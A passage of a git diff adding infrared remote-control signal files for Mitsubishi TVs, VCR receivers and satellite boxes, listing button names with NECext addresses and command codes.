TV_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: TV_A +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 39 00 00 00 +# +name: TV_INPUT_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_VIDEO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_VIDEO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 48 00 00 00 +# +name: TV_ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_AUDIO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TV_AUDIO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir new file mode 100644 index 000000000..b127feca1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir @@ -0,0 +1,488 @@ +Filetype: IR signals file +Version: 1 +# +name: VCRA_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCRA_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCRA_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCRA_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCRA_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCRA_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCRA_CH_^_(SCAN_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCRA_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCRA_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCRA_FS/+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCRA_CH_V_(SCAN_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCRA_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCRA_RS/- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_REPEAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 17 00 00 00 +# +name: VCRA_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCRA_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: VCRA_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCRA_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCRA_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCRA_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCRA_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCRA_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCRA_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCRA_R.PLAY_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2D 00 00 00 +# +name: VCRA_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCRA_SLOW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: VCRA_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCRA_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCRA_A +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 39 00 00 00 +# +name: VCRA_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_INTRO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3D 00 00 00 +# +name: VCRA_VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCRA_VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 48 00 00 00 +# +name: VCRA_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCRA_AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCRA_AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 58 00 00 00 +# +name: VCRB_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: VCRB_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: VCRB_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: VCRB_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: VCRB_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: VCRB_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: VCRB_CH_^_(SCAN_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: VCRB_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: VCRB_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: VCRB_FS/+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: VCRB_CH_V_(SCAN_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: VCRB_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: VCRB_RS/- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: VCRB_REPEAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 97 00 00 00 +# +name: VCRB_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: VCRB_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9A 00 00 00 +# +name: VCRB_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: VCRB_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: VCRB_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: VCRB_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: VCRB_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: VCRB_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: VCRB_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: VCRB_R.PLAY_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AD 00 00 00 +# +name: VCRB_PLAY_R._< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AD 00 00 00 +# +name: VCRB_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: VCRB_SLOW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B4 00 00 00 +# +name: VCRB_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: VCRB_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: VCRB_A +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B9 00 00 00 +# +name: VCRB_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VCRB_INTRO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BD 00 00 00 +# +name: VCRB_VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C1 00 00 00 +# +name: VCRB_VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C8 00 00 00 +# +name: VCRB_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C9 00 00 00 +# +name: VCRB_AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: VCRB_AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir new file mode 100644 index 000000000..0cdaa1ccd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: NEW_CODE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir new file mode 100644 index 000000000..2a80e41c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir new file mode 100644 index 000000000..9363beec9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CABLE_INPUT_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1A 00 00 00 +# +name: CABLE_INPUT_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir new file mode 100644 index 000000000..882bfa424 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir @@ -0,0 +1,1082 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: ST/SAP/MONO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 03 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 04 00 00 00 +# +name: EXTERNAL_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 05 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0B 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0C 00 00 00 +# +name: EXTERNAL_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0D 00 00 00 +# +name: QUICK_VIEW +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: Q/V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: Q_/_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: RCL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: EXP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 13 00 00 00 +# +name: AUDIO_EXPANSION +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 13 00 00 00 +# +name: OFF-T +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF-T/OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_SLEEP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: ANT_A/B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: INPUT_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_INFO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DISPLAY_RECALL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_LOCK +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1F 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 23 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2B 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: INPUT;_VGA +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 31 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: AV_MEMORY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 33 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: ENTER/EXCH +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: EXCH +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 36 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: ANT_A/B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 39 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV/EXT1/2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: DEVICE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3E 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3F 00 00 00 +# +name: VIDEO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJUST +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 42 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 42 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 43 00 00 00 +# +name: FUNCTION_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 45 00 00 00 +# +name: VIDEO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 48 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_EXCH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4A 00 00 00 +# +name: ANT_B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4C 00 00 00 +# +name: INPUT:_ANTENNA_B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4C 00 00 00 +# +name: SQV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4E 00 00 00 +# +name: TV_SQV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: MUNU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: UNKNOWN_#2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 54 00 00 00 +# +name: AUDIO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 58 00 00 00 +# +name: INPUT;_VIDEO_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 59 00 00 00 +# +name: ANT_A +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 